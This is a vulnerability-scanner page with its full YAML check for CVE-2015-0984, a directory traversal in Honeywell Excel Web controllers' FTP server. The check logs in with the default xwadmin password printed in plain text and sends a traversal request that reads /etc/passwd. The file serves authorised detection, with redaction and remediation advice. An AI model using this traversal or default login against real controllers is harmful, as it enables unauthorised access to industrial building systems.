Honeywell Xlweb — 1 vulnerability check

noctis ships 1 vulnerability check for Honeywell Xlweb, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Honeywell Excel Web (XLWEB) Controller FTP Directory Traversal

CVECVE-2015-0984
Severitycritical · CVSS 10.0
Categoryfile-read — File read
Servicesftp
Detectionset_var, script, tcp_open, sleep, tcp_send, tcp_close, match · highest QoD 75
Feedtests/vulnerabilities/honeywell-xlweb/CVE-2015-0984.yaml

Detects the directory traversal in the FTP server of Honeywell Excel Web / Falcon XL web controllers (XL1000C50, XL1000C100, XL1000C500, XL1000C1000 and their UUKL variants) before firmware 2.04.01. The test logs in to the FTP service with the scan credentials when supplied, otherwise with the built-in xwadmin account and its default password, opens a passive data connection and requests RETR ../../../../../../../../etc/passwd. It is confirmed when the transferred file holds the root entry of /etc/passwd and the controller's xwadmin account, and a second request for a random absent file is refused without returning a passwd entry (when that second request cannot run, the result is reported with lower confidence). Reading files outside the FTP directory exposes the controller's configuration and leads to administrative access. The test only reads files; root's password field is redacted from the evidence.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Opens a persistent TCP/TLS socket
  3. Sends … on the open socket
  4. Sends USER {{cred_username}} on the open socket
  5. Sends PASS {{cred_password}} on the open socket
  6. Sends … on the open socket
  7. Parses / computes the next value with a Rhai script
  8. Opens a persistent TCP/TLS socket
  9. Sends … on the open socket
  10. Sends USER xwadmin on the open socket
  11. Sends PASS kisrum1! on the open socket
  12. Sends … on the open socket
  13. Parses / computes the next value with a Rhai script
  14. Sends PASV on the open socket
  15. … and 29 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/honeywell-xlweb/CVE-2015-0984.yaml
# Honeywell Excel Web / Falcon XL web controller (XL1000C* "XLWEB") — FTP
# server directory traversal — CVE-2015-0984 (ICSA-15-076-02).
#
# The controllers run a Linux firmware whose FTP server (GNU inetutils ftpd,
# greeting "xlweb FTP server (GNU inetutils 1.3b) ready.") does not confine
# the built-in XWADMIN account to its directory: "../" in a path reaches the
# whole file system (Outpost24 / Full Disclosure 2015-04-22 read
# ../../../../etc/passwd, then wrote a web shell under
# ../../mnt/mtd6/xlweb/web). Fixed in Excel Web Linux 2.04.01.
#
# Ported from OpenVAS/Greenbone NVT
# 2015/gb_honeywell_xlweb_scada_dir_trav_vuln.nasl (OID
# 1.3.6.1.4.1.25623.1.0.805540, GPL-2.0-only): FTP login (scan credentials,
# else xwadmin / kisrum1!), PASV, then
# "RETR ../../../../../../../../etc/passwd" on the data connection; report when
# the reply matches root:.*:0:[01]: and contains "xwadmin".
#
# Deviations from the NVT (stronger detection, stated in the PR):
#   * Scan credentials that are refused (they are request-wide and often meant
#     for another service) fall back to the default xwadmin login on a fresh
#     connection instead of ending the check.
#   * EPSV fallback when PASV is refused.
#   * The PASV address is ignored: the data connection goes to the scanned
#     host (the NVT does the same), so a NATed controller still works.
#   * Stricter signature: a uid-0 root line at a line start AND an
#     "xwadmin:" account line at a line start, where the NVT accepts
#     "xwadmin" anywhere in the reply.
#   * Late greeting / login / PASV replies (reverse-DNS delay of inetutils
#     ftpd) are re-read instead of shifting every later reply by one.
#   * Absent-file control: after a hit, the same RETR of a random absent file
#     named after the probed one must be refused (550/553/450) and return
#     no passwd entry, so a blanket responder / honeypot gives no finding;
#     a 425/426 data-connection failure counts as "could not run".
#     When the control cannot run (second data connection refused) the read is
#     reported at QoD 70 instead of 75.
#   * No secret in the finding: only root:<redacted>:0:<gid>:<gecos>:<home>:<shell>
#     is reported; the raw file is matched without on_match.
#
# Read-only: after login only PASV/EPSV, RETR and QUIT are sent.
uid: 50d941b4-3c1b-41bf-8375-5d597d89ddcc
name: "Honeywell Excel Web (XLWEB) Controller FTP Directory Traversal (CVE-2015-0984)"
description: |
  Detects the directory traversal in the FTP server of Honeywell Excel Web /
  Falcon XL web controllers (XL1000C50, XL1000C100, XL1000C500, XL1000C1000
  and their UUKL variants) before firmware 2.04.01. The test logs in to the
  FTP service with the scan credentials when supplied, otherwise with the
  built-in xwadmin account and its default password, opens a passive data
  connection and requests RETR ../../../../../../../../etc/passwd. It is
  confirmed when the transferred file holds the root entry of /etc/passwd and
  the controller's xwadmin account, and a second request for a random absent
  file is refused without returning a passwd entry (when that second request
  cannot run, the result is reported with lower confidence). Reading files
  outside the FTP directory exposes the controller's configuration and leads
  to administrative access. The test only reads files; root's password field
  is redacted from the evidence.
cves: [CVE-2015-0984]
cvss: 10.0
severity: critical
category: file-read
confidence_base: 0.30
tags: [honeywell, excel-web, xlweb, falcon-xl, ics, scada, bms, ftp, path-traversal, file-read, default-credentials]
services: [ftp]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-0984"
  - "https://www.cisa.gov/news-events/ics-advisories/icsa-15-076-02"
  - "http://seclists.org/fulldisclosure/2015/Apr/79"
  - "https://www.outpost24.com/hacking-industrial-control-systems-case-study-falcon/"
  - "OpenVAS/Greenbone NASL 2015/gb_honeywell_xlweb_scada_dir_trav_vuln.nasl (OID 1.3.6.1.4.1.25623.1.0.805540, GPL-2.0-only)"

steps:
  # Pre-init everything the scripts and conditions read: a failed step stores
  # nothing, and an undefined variable would abort the test.
  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""
  - id: init-ctl-state
    action: set_var
    var_name: ctl_state
    var_value: "none"
  - id: init-cpass
    action: set_var
    var_name: cpass
    var_value: {response: ""}
  - id: init-dpass
    action: set_var
    var_name: dpass
    var_value: {response: ""}
  - id: init-pasv
    action: set_var
    var_name: pasv
    var_value: {response: ""}
  - id: init-epsv
    action: set_var
    var_name: epsv
    var_value: {response: ""}
  - id: init-dat
    action: set_var
    var_name: dat
    var_value: {response: ""}
  - id: init-dat-late
    action: set_var
    var_name: dat_late
    var_value: {response: ""}
  - id: init-retr
    action: set_var
    var_name: retr
    var_value: {response: ""}
  - id: init-pasv2
    action: set_var
    var_name: pasv2
    var_value: {response: ""}
  - id: init-epsv2
    action: set_var
    var_name: epsv2
    var_value: {response: ""}
  - id: init-cretr
    action: set_var
    var_name: cretr
    var_value: {response: ""}
  - id: init-cdat
    action: set_var
    var_name: cdat
    var_value: {response: ""}
  - id: init-greet-late
    action: set_var
    var_name: greet_late
    var_value: {response: ""}
  - id: init-cpass-late
    action: set_var
    var_name: cpass_late
    var_value: {response: ""}
  - id: init-dpass-late
    action: set_var
    var_name: dpass_late
    var_value: {response: ""}
  - id: init-pasv-late
    action: set_var
    var_name: pasv_late
    var_value: {response: ""}
  - id: init-epsv-late
    action: set_var
    var_name: epsv_late
    var_value: {response: ""}
  - id: init-retr-late
    action: set_var
    var_name: retr_late
    var_value: {response: ""}
  - id: init-pasv2-late
    action: set_var
    var_name: pasv2_late
    var_value: {response: ""}
  - id: init-epsv2-late
    action: set_var
    var_name: epsv2_late
    var_value: {response: ""}
  - id: init-cretr-late2
    action: set_var
    var_name: cretr_late2
    var_value: {response: ""}
  - id: init-regreet-late
    action: set_var
    var_name: regreet_late
    var_value: {response: ""}
  - id: init-cretr-late
    action: set_var
    var_name: cretr_late
    var_value: {response: ""}

  # ── 1. Login: scan credentials when supplied, else xwadmin / kisrum1! ────
  - id: pick-login
    action: script
    code: |
      cred_enabled && is_def_var("cred_username") && is_def_var("cred_password")
    store_as: use_cred

  - id: open
    action: tcp_open
    handle: ftp
    port: "{{port}}"
    read_banner: true
    timeout_secs: 10
    store_as: ftpo

  # inetutils ftpd resolves the client's name before greeting: on a network
  # with an unreachable resolver the 220 can come seconds late. Read it
  # before USER so replies are not shifted by one.
  - id: greet-wait
    action: sleep
    condition: 'type_of(ftpo.banner) != "string" || !ereg("(^|\\n)220 ", ftpo.banner)'
    duration_ms: 5000

  - id: greet-late
    action: tcp_send
    condition: 'type_of(ftpo.banner) != "string" || !ereg("(^|\\n)220 ", ftpo.banner)'
    handle: ftp
    send: ""
    store_as: greet_late

  - id: cred-user
    action: tcp_send
    condition: "use_cred == true"
    handle: ftp
    send: "USER {{cred_username}}\r\n"
    store_as: cuser

  - id: cred-pass
    action: tcp_send
    condition: "use_cred == true"
    handle: ftp
    send: "PASS {{cred_password}}\r\n"
    store_as: cpass

  # Slow replies: the 230 / 530 may arrive after the first read window.
  - id: cred-pass-wait
    action: sleep
    condition: 'use_cred == true && (type_of(cpass.response) != "string" || !ereg("(^|\\n)(230|[45][0-9][0-9]) ", cpass.response))'
    duration_ms: 3000

  - id: cred-pass-late
    action: tcp_send
    condition: 'use_cred == true && (type_of(cpass.response) != "string" || !ereg("(^|\\n)(230|[45][0-9][0-9]) ", cpass.response))'
    handle: ftp
    send: ""
    store_as: cpass_late

  - id: cred-state
    action: script
    code: |
      let r = "";
      if type_of(cpass.response) == "string" { r += cpass.response; }
      if type_of(cpass_late.response) == "string" { r += "\n" + cpass_late.response; }
      use_cred && ereg("(^|\n)230[ -]", r)
    store_as: cred_ok

  # Credentials refused: fall back to the default account on a fresh connection.
  - id: reopen-close
    action: tcp_close
    condition: "cred_ok == false && use_cred == true"
    handle: ftp

  - id: reopen
    action: tcp_open
    condition: "cred_ok == false && use_cred == true"
    handle: ftp
    port: "{{port}}"
    read_banner: true
    timeout_secs: 10
    store_as: ftpo2

  - id: regreet-wait
    action: sleep
    condition: 'cred_ok == false && use_cred == true && (type_of(ftpo2.banner) != "string" || !ereg("(^|\\n)220 ", ftpo2.banner))'
    duration_ms: 5000

  - id: regreet-late
    action: tcp_send
    condition: 'cred_ok == false && use_cred == true && (type_of(ftpo2.banner) != "string" || !ereg("(^|\\n)220 ", ftpo2.banner))'
    handle: ftp
    send: ""
    store_as: regreet_late

  - id: default-user
    action: tcp_send
    condition: "cred_ok == false"
    handle: ftp
    send: "USER xwadmin\r\n"
    store_as: duser

  - id: default-pass
    action: tcp_send
    condition: "cred_ok == false"
    handle: ftp
    send: "PASS kisrum1!\r\n"
    store_as: dpass

  - id: default-pass-wait
    action: sleep
    condition: 'cred_ok == false && (type_of(dpass.response) != "string" || !ereg("(^|\\n)(230|[45][0-9][0-9]) ", dpass.response))'
    duration_ms: 3000

  - id: default-pass-late
    action: tcp_send
    condition: 'cred_ok == false && (type_of(dpass.response) != "string" || !ereg("(^|\\n)(230|[45][0-9][0-9]) ", dpass.response))'
    handle: ftp
    send: ""
    store_as: dpass_late

  - id: logged-in
    action: script
    code: |
      let r = "";
      if type_of(dpass.response) == "string" { r += dpass.response; }
      if type_of(dpass_late.response) == "string" { r += "\n" + dpass_late.response; }
      cred_ok || ereg("(^|\n)230[ -]", r)
    store_as: logged_in

  # ── 2. Passive data connection (PASV, else EPSV) ─────────────────────────
  - id: pasv
    action: tcp_send
    condition: 'logged_in == true'
    handle: ftp
    send: "PASV\r\n"
    store_as: pasv

  # A slow controller can answer after the first read window: wait, re-read.
  - id: pasv-wait
    action: sleep
    condition: 'logged_in == true && (type_of(pasv.response) != "string" || !ereg("(^|\\n)(227|[45][0-9][0-9]) ", pasv.response))'
    duration_ms: 3000

  - id: pasv-late
    action: tcp_send
    condition: 'logged_in == true && (type_of(pasv.response) != "string" || !ereg("(^|\\n)(227|[45][0-9][0-9]) ", pasv.response))'
    handle: ftp
    send: ""
    store_as: pasv_late

  - id: pasv-port
    action: script
    condition: 'logged_in == true'
    code: |
      let t = "";
      if type_of(pasv.response) == "string" { t += pasv.response; }
      if type_of(pasv_late.response) == "string" { t += "\n" + pasv_late.response; }
      let p = 0;
      let m = eregmatch("(?m)^227 [^\r\n]*?\\d+,\\d+,\\d+,\\d+,(\\d+),(\\d+)", t);
      if m.len() > 2 { p = int(m[1]) * 256 + int(m[2]); }
      if p > 0 && p < 65536 { p } else { 0 }
    store_as: dport

  - id: epsv
    action: tcp_send
    condition: 'logged_in == true && dport == 0'
    handle: ftp
    send: "EPSV\r\n"
    store_as: epsv

  - id: epsv-wait
    action: sleep
    condition: 'logged_in == true && dport == 0 && (type_of(epsv.response) != "string" || !ereg("(^|\\n)(229|227|[45][0-9][0-9]) ", epsv.response))'
    duration_ms: 3000

  - id: epsv-late
    action: tcp_send
    condition: 'logged_in == true && dport == 0 && (type_of(epsv.response) != "string" || !ereg("(^|\\n)(229|227|[45][0-9][0-9]) ", epsv.response))'
    handle: ftp
    send: ""
    store_as: epsv_late

  # 229 (EPSV), or a 227 from a PASV answered after both read windows.
  - id: epsv-port
    action: script
    condition: 'logged_in == true'
    code: |
      let p = dport;
      if p == 0 {
        let t = "";
        if type_of(epsv.response) == "string" { t += epsv.response; }
        if type_of(epsv_late.response) == "string" { t += "\n" + epsv_late.response; }
        let m = eregmatch("(?m)^229 [^\r\n]*\\(\\|\\|\\|(\\d+)\\|\\)", t);
        if m.len() > 1 { p = int(m[1]); }
        let q = eregmatch("(?m)^227 [^\r\n]*?\\d+,\\d+,\\d+,\\d+,(\\d+),(\\d+)", t);
        if p == 0 && q.len() > 2 { p = int(q[1]) * 256 + int(q[2]); }
      }
      if p > 0 && p < 65536 { p } else { 0 }
    store_as: dport

  - id: data-open
    action: tcp_open
    condition: "dport > 0"
    handle: data
    port: "{{dport}}"
    timeout_secs: 10
    store_as: dopen

  # ── 3. Exploit: RETR outside the FTP directory ───────────────────────────
  - id: retr
    action: tcp_send
    condition: "dport > 0"
    handle: ftp
    send: "RETR ../../../../../../../../etc/passwd\r\n"
    store_as: retr

  # Empty send = read what the server wrote on the data connection.
  - id: data-read
    action: tcp_send
    condition: "dport > 0"
    handle: data
    send: ""
    store_as: dat

  # A slow controller may start the transfer after the first read window.
  - id: data-wait
    action: sleep
    condition: 'dport > 0 && type_of(dat.response) != "string"'
    duration_ms: 3000

  - id: data-read-late
    action: tcp_send
    condition: 'dport > 0 && type_of(dat.response) != "string"'
    handle: data
    send: ""
    store_as: dat_late

  # Consume the RETR's final 226 (or error) so it is not read as the
  # control's PASV reply.
  - id: retr-wait
    action: sleep
    condition: 'dport > 0 && (type_of(retr.response) != "string" || !ereg("(^|\\n)(226|[45][0-9][0-9]) ", retr.response))'
    duration_ms: 3000

  - id: retr-late
    action: tcp_send
    condition: 'dport > 0 && (type_of(retr.response) != "string" || !ereg("(^|\\n)(226|[45][0-9][0-9]) ", retr.response))'
    handle: ftp
    send: ""
    store_as: retr_late

  - id: data-close
    action: tcp_close
    handle: data

  - id: leak
    action: script
    code: |
      let t = "";
      if type_of(dat.response) == "string" { t += dat.response; }
      if type_of(dat_late.response) == "string" { t += dat_late.response; }
      t
    store_as: leak

  # No on_match: the raw file must not become evidence (embedded firmwares can
  # keep root's crypt hash in /etc/passwd).
  - id: passwd-root
    action: match
    source: leak
    pattern: "(?m)^root:[^:\\r\\n]*:0:([01]:[^\\r\\n]*?)\\r?$"
    store_as: pw_m

  - id: passwd-xwadmin
    action: match
    source: leak
    pattern: "(?m)^xwadmin:[^:\\r\\n]*:\\d+:\\d+:"
    store_as: xw_m

  - id: redact
    action: script
    code: |
      if type_of(pw_m) == "map" && pw_m.matched && pw_m.captures.len() > 0
         && type_of(xw_m) == "map" && xw_m.matched {
        "root:<redacted>:0:" + pw_m.captures[0]
      } else { "" }
    store_as: proof

  # ── 4. Control: an absent file must be refused, not served ───────────────
  - id: ctl-pasv
    action: tcp_send
    condition: 'proof != ""'
    handle: ftp
    send: "PASV\r\n"
    store_as: pasv2

  # A slow controller can answer after the first read window: wait, re-read.
  - id: ctl-pasv-wait
    action: sleep
    condition: 'proof != "" && (type_of(pasv2.response) != "string" || !ereg("(^|\\n)(227|[45][0-9][0-9]) ", pasv2.response))'
    duration_ms: 3000

  - id: ctl-pasv-late
    action: tcp_send
    condition: 'proof != "" && (type_of(pasv2.response) != "string" || !ereg("(^|\\n)(227|[45][0-9][0-9]) ", pasv2.response))'
    handle: ftp
    send: ""
    store_as: pasv2_late

  - id: ctl-pasv-port
    action: script
    condition: 'proof != ""'
    code: |
      let t = "";
      if type_of(pasv2.response) == "string" { t += pasv2.response; }
      if type_of(pasv2_late.response) == "string" { t += "\n" + pasv2_late.response; }
      let p = 0;
      let m = eregmatch("(?m)^227 [^\r\n]*?\\d+,\\d+,\\d+,\\d+,(\\d+),(\\d+)", t);
      if m.len() > 2 { p = int(m[1]) * 256 + int(m[2]); }
      if p > 0 && p < 65536 { p } else { 0 }
    store_as: cport

  - id: ctl-epsv
    action: tcp_send
    condition: 'proof != "" && cport == 0'
    handle: ftp
    send: "EPSV\r\n"
    store_as: epsv2

  - id: ctl-epsv-wait
    action: sleep
    condition: 'proof != "" && cport == 0 && (type_of(epsv2.response) != "string" || !ereg("(^|\\n)(229|227|[45][0-9][0-9]) ", epsv2.response))'
    duration_ms: 3000

  - id: ctl-epsv-late
    action: tcp_send
    condition: 'proof != "" && cport == 0 && (type_of(epsv2.response) != "string" || !ereg("(^|\\n)(229|227|[45][0-9][0-9]) ", epsv2.response))'
    handle: ftp
    send: ""
    store_as: epsv2_late

  # 229 (EPSV), or a 227 from a PASV answered after both read windows.
  - id: ctl-epsv-port
    action: script
    condition: 'proof != ""'
    code: |
      let p = cport;
      if p == 0 {
        let t = "";
        if type_of(epsv2.response) == "string" { t += epsv2.response; }
        if type_of(epsv2_late.response) == "string" { t += "\n" + epsv2_late.response; }
        let m = eregmatch("(?m)^229 [^\r\n]*\\(\\|\\|\\|(\\d+)\\|\\)", t);
        if m.len() > 1 { p = int(m[1]); }
        let q = eregmatch("(?m)^227 [^\r\n]*?\\d+,\\d+,\\d+,\\d+,(\\d+),(\\d+)", t);
        if p == 0 && q.len() > 2 { p = int(q[1]) * 256 + int(q[2]); }
      }
      if p > 0 && p < 65536 { p } else { 0 }
    store_as: cport

  - id: ctl-data-open
    action: tcp_open
    condition: 'proof != "" && cport > 0'
    handle: cdata
    port: "{{cport}}"
    timeout_secs: 10
    store_as: copen

  - id: ctl-retr
    action: tcp_send
    condition: 'proof != "" && cport > 0'
    handle: ftp
    send: "RETR ../../../../../../../../etc/passwd.noctis-absent-{{oob_token}}\r\n"
    store_as: cretr

  - id: ctl-data-read
    action: tcp_send
    condition: 'proof != "" && cport > 0'
    handle: cdata
    send: ""
    store_as: cdat

  # The refusal (or a slow transfer) can arrive after the first read window.
  - id: ctl-wait
    action: sleep
    condition: 'proof != "" && cport > 0 && (type_of(cretr.response) != "string" || !ereg("(^|\\n)(1[0-9][0-9]|[45][0-9][0-9]) ", cretr.response))'
    duration_ms: 3000

  - id: ctl-retr-late
    action: tcp_send
    condition: 'proof != "" && cport > 0 && (type_of(cretr.response) != "string" || !ereg("(^|\\n)(1[0-9][0-9]|[45][0-9][0-9]) ", cretr.response))'
    handle: ftp
    send: ""
    store_as: cretr_late

  - id: ctl-wait-2
    action: sleep
    condition: 'proof != "" && cport > 0 && (type_of(cretr.response) != "string" || !ereg("(^|\\n)(1[0-9][0-9]|[45][0-9][0-9]) ", cretr.response)) && (type_of(cretr_late.response) != "string" || !ereg("(^|\\n)(1[0-9][0-9]|[45][0-9][0-9]) ", cretr_late.response))'
    duration_ms: 3000

  - id: ctl-retr-late-2
    action: tcp_send
    condition: 'proof != "" && cport > 0 && (type_of(cretr.response) != "string" || !ereg("(^|\\n)(1[0-9][0-9]|[45][0-9][0-9]) ", cretr.response)) && (type_of(cretr_late.response) != "string" || !ereg("(^|\\n)(1[0-9][0-9]|[45][0-9][0-9]) ", cretr_late.response))'
    handle: ftp
    send: ""
    store_as: cretr_late2

  - id: ctl-data-close
    action: tcp_close
    handle: cdata

  - id: control-state
    action: script
    condition: 'proof != ""'
    code: |
      let r = "";
      if type_of(cretr.response) == "string" { r += cretr.response; }
      if type_of(cretr_late.response) == "string" { r += "\n" + cretr_late.response; }
      if type_of(cretr_late2.response) == "string" { r += "\n" + cretr_late2.response; }
      let d = "";
      if type_of(cdat.response) == "string" { d = cdat.response; }
      if egrep("^root:[^:\r\n]*:0:[01]:", d) != "" || egrep("^1[0-9][0-9][ -]", r) != "" { "blanket" }
      else if egrep("^(550|553|450)[ -]", r) != "" { "clean" }
      else { "none" }
    store_as: ctl_state

  - id: quit
    action: tcp_send
    condition: "logged_in == true"
    handle: ftp
    send: "QUIT\r\n"
    store_as: quit

  - id: close
    action: tcp_close
    handle: ftp

  # ── 5. Report ────────────────────────────────────────────────────────────
  - id: report
    action: match
    source: proof
    pattern: "^root:<redacted>:0:[01]:"
    condition: 'proof != "" && ctl_state == "clean"'
    on_match:
      finding:
        title: "Honeywell Excel Web (XLWEB) Controller FTP Directory Traversal (CVE-2015-0984)"
        description: "After an FTP login, RETR ../../../../../../../../etc/passwd returned the controller's /etc/passwd (root entry and xwadmin account) on the data connection, while a random absent file was refused: the FTP server reads files outside its directory."
        remediation: "Update the Excel Web controller firmware to 2.04.01 or later, change the xwadmin password, and do not expose the controller's FTP service to untrusted networks."
        confidence_delta: 0.55
        qod: 75
        evidence: "RETR ../../../../../../../../etc/passwd returned /etc/passwd with an xwadmin account and the root entry ({{proof}}); the absent-file control was refused"
      stop: true

  - id: report-uncontrolled
    action: match
    source: proof
    pattern: "^root:<redacted>:0:[01]:"
    condition: 'proof != "" && ctl_state == "none"'
    on_match:
      finding:
        title: "Honeywell Excel Web (XLWEB) Controller FTP Directory Traversal (CVE-2015-0984)"
        description: "After an FTP login, RETR ../../../../../../../../etc/passwd returned the controller's /etc/passwd (root entry and xwadmin account) on the data connection. The absent-file control could not run, so the result is reported with lower confidence."
        remediation: "Update the Excel Web controller firmware to 2.04.01 or later, change the xwadmin password, and do not expose the controller's FTP service to untrusted networks."
        confidence_delta: 0.40
        qod: 70
        evidence: "RETR ../../../../../../../../etc/passwd returned /etc/passwd with an xwadmin account and the root entry ({{proof}}); the absent-file control could not run"
      stop: true

View these feeds on GitHub